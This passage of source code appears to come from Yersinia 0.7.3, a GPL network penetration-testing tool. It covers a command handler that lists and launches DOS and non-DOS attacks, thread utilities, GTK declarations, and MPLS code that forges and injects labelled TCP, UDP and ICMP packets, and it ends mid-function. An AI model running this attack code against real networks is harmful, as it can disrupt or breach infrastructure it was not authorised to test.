{ char msg[128]; int8_t i, fail, params, aux; struct attack *theattack = NULL; if (warray->word[warray->indx]) { if (!(warray->word[warray->indx+1])) params=0; else params=1; } else params=0; if (warray->nwords > (warray->indx+2)) { if (help || tab) snprintf(msg,sizeof(msg),"%% Too many arguments\r\n"); else fail = command_bad_input(node,warray->indx+1); fail = term_vty_write(node,msg, strlen(msg)); return fail; } if ( (help || tab) && !warray->word[warray->indx]) { theattack = protocols[proto].attacks; i=0; while(theattack[i].s != NULL) { snprintf(msg,sizeof(msg)," <%d> %s attack %s\r\n", i, (theattack[i].type == DOS) ? "DOS" : "NONDOS", theattack[i].s); fail = term_vty_write(node,msg,strlen(msg)); if (fail == -1) return -1; i++; } snprintf(msg,sizeof(msg)," \r\n"); fail = term_vty_write(node,msg,strlen(msg)); return fail; } if (help || tab) { snprintf(msg,sizeof(msg)," \r\n"); fail = term_vty_write(node,msg,strlen(msg)); return fail; } if (!warray->word[warray->indx]) { snprintf(msg,sizeof(msg),"\r\n%% Incomplete command."); fail = term_vty_write(node,msg, strlen(msg)); return fail; } if (!protocols[proto].attacks[0].s) { snprintf(msg,sizeof(msg),"\r\n%% Protocol %s has no attacks defined", protocols[proto].description); fail = term_vty_write(node,msg,strlen(msg)); return fail; } /* Ok, now we have just 1 arg, begin parsing...*/ aux = atoi(warray->word[warray->indx]); /* Dirty trick to take the max attack number... * Man, i'm now in the plane flying to Madrid with * Ramon so don't be cruel! */ theattack = protocols[proto].attacks; i=0; while(theattack[i].s != NULL) i++; if ( (aux < 0) || (aux > (i-1)) ) return (command_bad_input(node,warray->indx)); /* Ok, launch attack, plz...*/ return (command_run_attack(node, proto, aux)); } int8_t command_run_attack(struct term_node *node, u_int8_t proto, int8_t aux) { char msg[128]; int8_t fail=1; struct attack_param *attack_param = NULL; struct attack *theattack = NULL; struct term_vty *vty = node->specific; if (dlist_data(node->used_ints->list)) fail = 0; if (fail) { snprintf(msg,sizeof(msg),"\r\n%% Network interface not specified. Attack aborted."); fail = term_vty_write(node, msg, strlen(msg)); return fail; } theattack = protocols[proto].attacks; if (theattack[aux].nparams) /* Do we need parameters for attack? */ { if ((attack_param = calloc(1, (sizeof(struct attack_param) * theattack[aux].nparams))) == NULL) { thread_error(" command_run_attack calloc",errno); return -1; } memcpy( attack_param, (void *)(theattack[aux].param), sizeof(struct attack_param) * theattack[aux].nparams); if (attack_init_params(node, attack_param, theattack[aux].nparams) < 0) { free(attack_param); return -1; } vty->substate = 0; vty->nparams = theattack[aux].nparams; vty->attack_param = attack_param; vty->attack_proto = proto; vty->attack_index = aux; node->state = PARAMS_STATE; } else attack_launch(node, proto, aux, NULL, 0); return 0; } int8_t command_bad_input(struct term_node *node, int8_t badindex) { char msg[128], *begin=NULL, *marker; int8_t fail, i, j, spaces, indx=0; struct term_vty *vty = node->specific; for(i=0;icommand_len;i++) { if (*(vty->buf_command+i) != SPACE) { begin = vty->buf_command+i; j=0; while( (*(begin+j)!=SPACE) && *(begin+j)) j++; if (indx == badindex) /* Gotit!!*/ break; indx++; i+=j; } } if (term_vty_write(node,"\r\n", 2) < 0) return -1; /* Now the spaces...*/ spaces = strlen(term_states[node->state].prompt2) + (begin-vty->buf_command); marker = (char *)calloc(1,(spaces+2)); if ( marker == NULL) return -1; memset(marker,SPACE,spaces); *(marker+spaces) = '^'; if (term_vty_write(node,marker,spaces+1) < 0) { free(marker); return -1; } snprintf(msg,sizeof(msg),"\r\n%% Invalid input detected at '^' marker.\r\n"); fail = term_vty_write(node,msg, strlen(msg)); free(marker); return fail; } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/thread-util.c0000644000175000017500000002015712234207266014334 0ustar nknk/* thread-util.c * Implementation of thread utilities * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: thread-util.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #include #include "thread-util.h" /* * Create a thread */ int8_t thread_create(pthread_t *thread_id, void *thread_body , void *arg) { if (pthread_create(thread_id, NULL, thread_body, arg) != 0) { thread_error("pthread_create",errno); return -1; } return 0; } /* * Destroy a thread with cancellation... */ int8_t thread_destroy_cancel(pthread_t thread_id) { pthread_t id = thread_id; if (pthread_cancel(id) != 0) { thread_error(" thread_destroy_cancel pthread_cancel",errno); return -1; } if (pthread_join(id, NULL) != 0) { thread_error(" thread_destroy_cancel pthread_join",errno); return -1; } return 0; } /* * Destroy a thread with polling... */ int8_t thread_destroy(THREAD *thread) { pthread_t id = thread->id; write_log(0,"\n thread_destroy %d destroying %d...\n",(int)pthread_self(), (int)id); thread->stop = 1; if (PTHREAD_JOIN(thread) != 0) { thread_error(" thread_destroy PTHREAD_JOIN",errno); return -1; } write_log(0," thread_destroy %d after PTHREAD_JOIN %d...\n", (int)pthread_self(), (int)id); thread->stop = 0; thread->id = 0; return 0; } int8_t thread_create_condsem(struct condsem *condsem) { if (pthread_mutex_init(&condsem->mutex, NULL) != 0) { thread_error("pthread_mutex_init",errno); return -1; } if (pthread_cond_init(&condsem->condvar, NULL) != 0) { thread_error("pthread_cond_init",errno); return -1; } condsem->value = 0; return 0; } void thread_delete_condsem(struct condsem *condsem) { if (pthread_mutex_destroy(&condsem->mutex) != 0) thread_error("pthread_mutex_destroy(&condsem->mutex)",errno); if (pthread_cond_destroy(&condsem->condvar) != 0) thread_error("pthread_cond_destroy(&condsem->condvar)",errno); } int8_t thread_wait_cond(struct condsem *condsem) { if (pthread_mutex_lock(&condsem->mutex) != 0) { thread_error("pthread_mutex_lock",errno); return -1; } while (condsem->value <= 0) { if (pthread_cond_wait(&condsem->condvar, &condsem->mutex) != 0) { thread_error("pthread_cond_wait",errno); return -1; } } condsem->value--; if (pthread_mutex_unlock(&condsem->mutex) != 0) { thread_error("pthread_mutex_unlock",errno); return -1; } return 0; } /* * Wait for condition wariable with timeout. * Be aware of disabling cancellation before calling this function!!! * Return THREAD_TIMEOUT on timeout, -1 on error, 0 if Ok. */ int8_t thread_wait_cond_timed(struct condsem *condsem, struct timeval *timeout) { int ret=0; struct timeval now; struct timespec abstimeout; if (pthread_mutex_lock(&condsem->mutex) != 0) { thread_error("pthread_mutex_lock",errno); return -1; } gettimeofday(&now, NULL); abstimeout.tv_sec = now.tv_sec + timeout->tv_sec; abstimeout.tv_nsec = (now.tv_usec + timeout->tv_usec) * 1000; if (abstimeout.tv_nsec > 999999999) { abstimeout.tv_sec += (abstimeout.tv_nsec/1000000000); abstimeout.tv_nsec = (abstimeout.tv_nsec%1000000000); } while (condsem->value <= 0) { ret = pthread_cond_timedwait(&condsem->condvar, &condsem->mutex, &abstimeout); if ( (ret == ETIMEDOUT) || (ret != 0) ) break; } if (ret == ETIMEDOUT) { pthread_mutex_unlock(&condsem->mutex); return THREAD_TIMEOUT; } else { if (ret) { thread_error(" pthread_cond_timedwait()",ret); pthread_mutex_unlock(&condsem->mutex); return -1; } condsem->value--; } pthread_mutex_unlock(&condsem->mutex); return 0; } int8_t thread_signal_cond(struct condsem *condsem) { if (pthread_mutex_lock(&condsem->mutex) != 0) { thread_error("pthread_mutex_lock",errno); return -1; } condsem->value++; if (pthread_mutex_unlock(&condsem->mutex) != 0) { thread_error("pthread_mutex_unlock",errno); return -1; } if (pthread_cond_signal(&condsem->condvar) != 0) { thread_error("pthread_cond_signal",errno); return -1; } return 0; } int8_t thread_send_broadcast(struct condsem *condsem, int8_t total) { if (pthread_mutex_lock(&condsem->mutex) != 0) { thread_error("pthread_mutex_lock",errno); return -1; } condsem->value += total; if (pthread_mutex_unlock(&condsem->mutex) != 0) { thread_error("pthread_mutex_unlock",errno); return -1; } if (pthread_cond_broadcast(&condsem->condvar) != 0) { thread_error("pthread_send_broadcast",errno); return -1; } return 0; } void thread_error( char *msg, int8_t errn) { #ifdef HAVE_GLIBC_STRERROR_R /* At least on glibc >= 2.0 Can anybody confirm?... */ char buf[64]; write_log(0, "%s: (%d) %s -> %s\n", PACKAGE, (int)pthread_self(), msg, strerror_r(errn, buf, sizeof(buf))); #else #ifdef HAVE_STRERROR write_log(0, "%s: (%d) %s -> %s\n", PACKAGE, (int)pthread_self(), msg, strerror(errn) ); #else write_log(0, "%s: (%d) %s -> %s\n", PACKAGE, (int)pthread_self(), msg, sys_errlist[errn] ); #endif #endif } void thread_libnet_error( char *msg, libnet_t *lhandler) { write_log(0, "%s: (%d) %s -> %s\n", PACKAGE, (int)pthread_self(), msg, libnet_geterror(lhandler)); } /* * Our own calloc function. */ void * thread_calloc_r(size_t size) { void *aux; #ifdef HAVE_CALLOC_R aux = calloc_r(1,size); #else aux = calloc(1,size); #endif return aux; } void thread_free_r(void *ptr) { #ifdef HAVE_FREE_R free_r(ptr); #else free(ptr); #endif } int thread_usleep(unsigned long useconds) { int ret; #ifdef HAVE_NANOSLEEP struct timespec timeout; #else struct timeval timeout; #endif if (useconds > 999999) useconds = 999999; timeout.tv_sec = 0; #ifdef HAVE_NANOSLEEP timeout.tv_nsec = (useconds*1000); #else timeout.tv_usec = useconds; #endif #ifdef HAVE_NANOSLEEP ret = nanosleep(&timeout, NULL); #else ret = select(0,NULL,NULL,NULL,&timeout); #endif return ret; } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/gtk-support.h0000644000175000017500000000630612234207266014416 0ustar nknk/* gtk_support.h * Definitions for GTK Support * * $Id: gtk-support.h 43 2007-04-27 11:07:17Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __GTK_SUPPORT_H__ #define __GTK_SUPPORT_H__ #ifdef HAVE_CONFIG_H # include #endif #include /* * Standard gettext macros. */ #ifdef ENABLE_NLS # include # undef _ # define _(String) dgettext (PACKAGE, String) # define Q_(String) g_strip_context ((String), gettext (String)) # ifdef gettext_noop # define N_(String) gettext_noop (String) # else # define N_(String) (String) # endif #else # define textdomain(String) (String) # define gettext(String) (String) # define dgettext(Domain,Message) (Message) # define dcgettext(Domain,Message,Type) (Message) # define bindtextdomain(Domain,Directory) (Domain) # define _(String) (String) # define Q_(String) g_strip_context ((String), (String)) # define N_(String) (String) #endif /* * Public Functions. */ /* * This function returns a widget in a component created by Glade. * Call it with the toplevel widget in the component (i.e. a window/dialog), * or alternatively any widget in the component, and the name of the widget * you want returned. */ GtkWidget* lookup_widget (GtkWidget *widget, const gchar *widget_name); /* Use this function to set the directory containing installed pixmaps. */ void add_pixmap_directory (const gchar *directory); /* * Private Functions. */ /* This is used to create the pixmaps used in the interface. */ GtkWidget* create_pixmap (GtkWidget *widget, const gchar *filename); /* This is used to create the pixbufs used in the interface. */ GdkPixbuf* create_pixbuf (const gchar *filename); /* This is used to set ATK action descriptions. */ void glade_set_atk_action_description (AtkAction *action, const gchar *action_name, const gchar *description); struct gtk_s_helper { struct term_node *node; u_int8_t mode; u_int8_t row; u_int8_t extra; GtkWidget *notebook; GtkTooltips *tooltips; GtkTreeSelection *select; GtkWidget *statusbar; u_int8_t edit_mode; struct attack *attack; struct attack_param *attack_param; }; #endif yersinia-0.7.3/src/mpls.c0000644000175000017500000006036312234207266013070 0ustar nknk/* mpls.c * Implementation and attacks for MultiProtocol Label Switching * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: dot1q.c,v 1.26 2006/02/16 16:44:44 slay Exp $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #include #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #ifdef HAVE_PTHREAD_H #include #endif #include #include "mpls.h" void mpls_register(void) { protocol_register(PROTO_MPLS, "MPLS", "MultiProtocol Label Switching", "mpls", sizeof(struct mpls_data), mpls_init_attribs, mpls_learn_packet, mpls_get_printable_packet, mpls_get_printable_store, mpls_load_values, mpls_attack, mpls_update_field, mpls_features, mpls_comm_params, SIZE_ARRAY(mpls_comm_params), NULL, 0, NULL, mpls_init_comms_struct, PROTO_VISIBLE, mpls_end); } int8_t mpls_init_comms_struct(struct term_node *node) { struct mpls_data *mpls_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(mpls_comm_params)); if (comm_param == NULL) { thread_error("mpls_init_comms_struct calloc error",errno); return -1; } mpls_data = node->protocol[PROTO_MPLS].tmp_data; node->protocol[PROTO_MPLS].commands_param = comm_param; comm_param[MPLS_SMAC] = &mpls_data->mac_source; comm_param[MPLS_DMAC] = &mpls_data->mac_dest; comm_param[MPLS_LABEL1] = &mpls_data->label1; comm_param[MPLS_EXP1] = &mpls_data->exp1; comm_param[MPLS_BOTTOM1] = &mpls_data->bottom1; comm_param[MPLS_TTL1] = &mpls_data->ttl1; comm_param[MPLS_LABEL2] = &mpls_data->label2; comm_param[MPLS_EXP2] = &mpls_data->exp2; comm_param[MPLS_BOTTOM2] = &mpls_data->bottom2; comm_param[MPLS_TTL2] = &mpls_data->ttl2; comm_param[MPLS_SRC_IP] = &mpls_data->src_ip; comm_param[MPLS_SRC_PORT] = &mpls_data->src_port; comm_param[MPLS_DST_IP] = &mpls_data->dst_ip; comm_param[MPLS_DST_PORT] = &mpls_data->dst_port; comm_param[MPLS_PAYLOAD] = &mpls_data->ip_payload; comm_param[15] = NULL; comm_param[16] = NULL; return 0; } int8_t mpls_init_attribs(struct term_node *node) { struct mpls_data *mpls_data; mpls_data = node->protocol[PROTO_MPLS].tmp_data; attack_gen_mac(mpls_data->mac_source); mpls_data->mac_source[0] &= 0x0E; parser_vrfy_mac(MPLS_DFL_MAC_DST,mpls_data->mac_dest); mpls_data->proto = IPPROTO_TCP; /* TCP MPLS default... */ mpls_data->double_hdr = 0; /* Just 1 MPLS header...*/ mpls_data->bottom1 = 1; mpls_data->src_ip = ntohl(inet_addr(MPLS_DFL_SRC_IP)); mpls_data->src_port = MPLS_DFL_SRC_PORT; mpls_data->dst_ip = ntohl(inet_addr(MPLS_DFL_DST_IP)); mpls_data->dst_port = MPLS_DFL_DST_PORT; memcpy(mpls_data->ip_payload,MPLS_DFL_PAYLOAD,sizeof(MPLS_DFL_PAYLOAD)); mpls_data->ip_pay_len = MPLS_DFL_PAY_LEN; return 0; } void mpls_th_send_tcp(void *arg) { struct attacks *attacks=NULL; struct mpls_data *mpls_data; attacks = arg; mpls_data = attacks->data; mpls_data->proto = IPPROTO_TCP; mpls_send(attacks); mpls_th_send_exit(attacks); } void mpls_th_send_double_tcp(void *arg) { struct attacks *attacks=NULL; struct mpls_data *mpls_data; attacks = arg; mpls_data = attacks->data; mpls_data->double_hdr = 1; mpls_data->proto = IPPROTO_TCP; mpls_send(attacks); mpls_th_send_exit(attacks); } void mpls_th_send_udp(void *arg) { struct attacks *attacks=NULL; struct mpls_data *mpls_data; attacks = arg; mpls_data = attacks->data; mpls_data->proto = IPPROTO_UDP; mpls_send(attacks); mpls_th_send_exit(attacks); } void mpls_th_send_double_udp(void *arg) { struct attacks *attacks=NULL; struct mpls_data *mpls_data; attacks = arg; mpls_data = attacks->data; mpls_data->double_hdr = 1; mpls_data->proto = IPPROTO_UDP; mpls_send(attacks); mpls_th_send_exit(attacks); } void mpls_th_send_icmp(void *arg) { struct attacks *attacks=NULL; struct mpls_data *mpls_data; attacks = arg; mpls_data = attacks->data; mpls_data->proto = IPPROTO_ICMP; mpls_send(attacks); mpls_th_send_exit(attacks); } void mpls_th_send_double_icmp(void *arg) { struct attacks *attacks=NULL; struct mpls_data *mpls_data; attacks = arg; mpls_data = attacks->data; mpls_data->double_hdr = 1; mpls_data->proto = IPPROTO_ICMP; mpls_send(attacks); mpls_th_send_exit(attacks); } void mpls_send(struct attacks *attacks) { sigset_t mask; struct mpls_data *mpls_data; libnet_ptag_t t; libnet_t *lhandler; int32_t sent; int32_t payload_size=0, packet_size=0; u_int8_t *payload=NULL; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); mpls_data = attacks->data; sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("mpls_send pthread_sigmask()",errno); return; } if (mpls_data->ip_payload && mpls_data->ip_payload[0]) { payload_size = strlen((const char *)mpls_data->ip_payload); payload = mpls_data->ip_payload; } for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; switch(mpls_data->proto) { case IPPROTO_TCP: packet_size = LIBNET_TCP_H + payload_size; t = libnet_build_tcp( mpls_data->src_port, /* source port */ mpls_data->dst_port, /* destination port */ 0x666, /* sequence number */ 0x00000000, /* acknowledgement num */ TH_SYN, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ packet_size, /* TCP packet size */ payload, /* payload */ payload_size, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ break; case IPPROTO_UDP: packet_size = LIBNET_UDP_H + payload_size; t = libnet_build_udp( mpls_data->src_port, /* source port */ mpls_data->dst_port, /* destination port */ packet_size, /* UDP packet size */ 0, /* checksum */ payload, /* payload */ payload_size, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ break; case IPPROTO_ICMP: packet_size = LIBNET_ICMPV4_ECHO_H + payload_size; t = libnet_build_icmpv4_echo( ICMP_ECHO, /* type */ 0, /* code */ 0, /* checksum */ 0x42, /* id */ 0x42, /* sequence number */ payload, /* payload */ payload_size, /* payload size */ lhandler, /* libnet handle */ 0); break; } if (t == -1) { thread_libnet_error("Can't build tcp/udp/icmp header",lhandler); libnet_clear_packet(lhandler); return; } t = libnet_build_ipv4( LIBNET_IPV4_H + packet_size, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 128, /* TTL */ mpls_data->proto, /* protocol */ 0, /* checksum */ htonl(mpls_data->src_ip), /* source IP */ htonl(mpls_data->dst_ip), /* destination IP */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build IP header",lhandler); libnet_clear_packet(lhandler); return; } t = libnet_build_mpls( mpls_data->label1, /* label */ mpls_data->exp1, /* experimental */ LIBNET_MPLS_BOS_ON, /* bottom of stack */ mpls_data->ttl1, /* ttl */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build MPLS header",lhandler); libnet_clear_packet(lhandler); return; } if (mpls_data->double_hdr) { t = libnet_build_mpls( mpls_data->label2, /* label */ mpls_data->exp2, /* experimental */ LIBNET_MPLS_BOS_OFF, /* bottom of stack */ mpls_data->ttl2, /* ttl */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build MPLS header",lhandler); libnet_clear_packet(lhandler); return; } } t = libnet_build_ethernet( mpls_data->mac_dest, /* ethernet destination */ mpls_data->mac_source, /* ethernet source */ ETHERTYPE_MPLS, /* protocol type */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build Ethernet header",lhandler); libnet_clear_packet(lhandler); return; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); return; } libnet_clear_packet(lhandler); protocols[PROTO_MPLS].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_MPLS]++; } } void mpls_th_send_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t mpls_learn_packet(struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header) { struct mpls_data *mpls_data; struct pcap_data pcap_aux; u_int8_t *packet, got_mpls_pkt = 0; u_int16_t *cursor; dlist_t *p; struct interface_data *iface_data; mpls_data = data; if ((packet = calloc(1, SNAPLEN)) == NULL) return -1; if (iface) { p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, iface); if (!p) return -1; iface_data = (struct interface_data *) dlist_data(p); } else iface_data = NULL; while (!got_mpls_pkt && !(*stop)) { interfaces_get_packet(attacks->used_ints, iface_data, stop, header, packet, PROTO_MPLS, NO_TIMEOUT); if (*stop) { free(packet); return -1; } cursor = (u_int16_t *)(packet + 12); pcap_aux.header = header; pcap_aux.packet = packet; if (!mpls_load_values((struct pcap_data *)&pcap_aux, mpls_data)) got_mpls_pkt = 1; } /* While got */ free(packet); return 0; } /* * Load values from packet to data. * At the moment this function is called only * from ncurses-gui.c */ int8_t mpls_load_values(struct pcap_data *data, void *values) { struct libnet_ethernet_hdr *ether; struct mpls_data *mpls; u_int16_t *cursor16; u_int8_t *ip, *cursor8, ip_proto; #ifndef LBL_ALIGN struct libnet_ipv4_hdr *ipv4_hdr; #endif mpls = (struct mpls_data *)values; if (data->header->caplen < (14+4+20+8) ) /* Undersized packet!! */ return -1; ether = (struct libnet_ethernet_hdr *) data->packet; /* Source MAC */ memcpy(mpls->mac_source, ether->ether_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(mpls->mac_dest, ether->ether_dhost, ETHER_ADDR_LEN); cursor8 = (u_int8_t *)(data->packet + LIBNET_ETH_H); mpls->label1 = MPLS_GET_LABEL(cursor8); mpls->exp1 = MPLS_GET_EXP(cursor8); mpls->bottom1 = MPLS_GET_BOTTOM(cursor8); mpls->ttl1 = MPLS_GET_TTL(cursor8); if (!mpls->bottom1) { cursor8 += sizeof(struct mpls_header); mpls->label2 = MPLS_GET_LABEL(cursor8); mpls->exp2 = MPLS_GET_EXP(cursor8); mpls->bottom2 = MPLS_GET_BOTTOM(cursor8); mpls->ttl2 = MPLS_GET_TTL(cursor8); } ip = cursor8 + sizeof(struct mpls_header); /* Undersized packet!! */ if ( (ip+20) > (data->packet + data->header->caplen)) return 0; #ifdef LBL_ALIGN ip_proto = *(ip+9); memcpy((void *)&mpls->src_ip, (ip+12), 4); memcpy((void *)&mpls->dst_ip, (ip+16), 4); #else ipv4_hdr = (struct libnet_ipv4_hdr *)ip; mpls->src_ip = ntohl(ipv4_hdr->ip_src.s_addr); mpls->dst_ip = ntohl(ipv4_hdr->ip_dst.s_addr); ip_proto = ipv4_hdr->ip_p; #endif cursor16 = (u_int16_t *)(ip+20); switch(ip_proto) { case IPPROTO_TCP: case IPPROTO_UDP: mpls->src_port = ntohs(*cursor16); cursor16++; mpls->dst_port = ntohs(*cursor16); break; } return 0; } /* * Return formated strings of each MPLS field * * Refresh callback for the ncurses main window */ char ** mpls_get_printable_packet(struct pcap_data *data) { struct libnet_ethernet_hdr *ether; u_int16_t *cursor16; char **field_values; u_int8_t *ip, *cursor8, ip_proto; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif if (data && (data->header->caplen < (14+4+20+8)) ) /* Undersized packet!! */ return NULL; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_MPLS].nparams, protocols[PROTO_MPLS].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } ether = (struct libnet_ethernet_hdr *) data->packet; /* Source MAC */ snprintf(field_values[MPLS_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->ether_shost[0], ether->ether_shost[1], ether->ether_shost[2], ether->ether_shost[3], ether->ether_shost[4], ether->ether_shost[5]); /* Destination MAC */ snprintf(field_values[MPLS_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->ether_dhost[0], ether->ether_dhost[1], ether->ether_dhost[2], ether->ether_dhost[3], ether->ether_dhost[4], ether->ether_dhost[5]); cursor8 = (u_int8_t *) (data->packet + LIBNET_ETH_H); snprintf(field_values[MPLS_LABEL1], 9, "%d", MPLS_GET_LABEL(cursor8)); snprintf(field_values[MPLS_EXP1], 4, "%03d", MPLS_GET_EXP(cursor8)); snprintf(field_values[MPLS_BOTTOM1], 2, "%01d", MPLS_GET_BOTTOM(cursor8)); snprintf(field_values[MPLS_TTL1], 4, "%d", MPLS_GET_TTL(cursor8)); if (!MPLS_GET_BOTTOM(cursor8)) { cursor8 += sizeof(struct mpls_header); snprintf(field_values[MPLS_LABEL2], 9, "%d", MPLS_GET_LABEL(cursor8)); snprintf(field_values[MPLS_EXP2], 4, "%03d", MPLS_GET_EXP(cursor8)); snprintf(field_values[MPLS_BOTTOM2], 2, "%01d", MPLS_GET_BOTTOM(cursor8)); snprintf(field_values[MPLS_TTL2], 4, "%d", MPLS_GET_TTL(cursor8)); } ip = cursor8 + sizeof(struct mpls_header); /* Undersized packet!! */ if ( (ip+20) > (data->packet + data->header->caplen)) return (char **)field_values; ip_proto = *(ip+9); /* Source IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (ip+12), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[MPLS_SRC_IP], 16,0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(ip+12)), field_values[MPLS_SRC_IP], 16,0); #endif /* Destination IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (ip+16), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[MPLS_DST_IP], 16,0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(ip+16)), field_values[MPLS_DST_IP], 16,0); #endif cursor16 = (u_int16_t *)(ip+20); switch(ip_proto) { case IPPROTO_TCP: case IPPROTO_UDP: /* Source port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, cursor16, 2); snprintf(field_values[MPLS_SRC_PORT], 5, "%hd", ntohs(aux_short)); #else snprintf(field_values[MPLS_SRC_PORT], 5, "%hd", ntohs(*cursor16)); #endif cursor16++; /* Destination port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, cursor16, 2); snprintf(field_values[MPLS_DST_PORT], 5, "%hd", ntohs(aux_short)); #else snprintf(field_values[MPLS_DST_PORT], 5, "%hd", ntohs(*cursor16)); #endif break; } return (char **)field_values; } /* * Callback for refresh the ncurses bottom window (fields window) */ char ** mpls_get_printable_store(struct term_node *node) { struct mpls_data *mpls_tmp; char **field_values; #ifdef LBL_ALIGN u_int8_t *aux; #endif /* smac + dmac + double + vlan1 + priority + cfi1 + tpi1 + vlan2 + * priority2 + cfi2 + tpi3 + src + dst + proto + arp + vlan + null = 17 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_MPLS].nparams, protocols[PROTO_MPLS].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) mpls_tmp = protocols[PROTO_MPLS].default_values; else mpls_tmp = (struct mpls_data *) node->protocol[PROTO_MPLS].tmp_data; /* Source MAC */ snprintf(field_values[MPLS_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", mpls_tmp->mac_source[0], mpls_tmp->mac_source[1], mpls_tmp->mac_source[2], mpls_tmp->mac_source[3], mpls_tmp->mac_source[4], mpls_tmp->mac_source[5]); /* Destination MAC */ snprintf(field_values[MPLS_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", mpls_tmp->mac_dest[0], mpls_tmp->mac_dest[1], mpls_tmp->mac_dest[2], mpls_tmp->mac_dest[3], mpls_tmp->mac_dest[4], 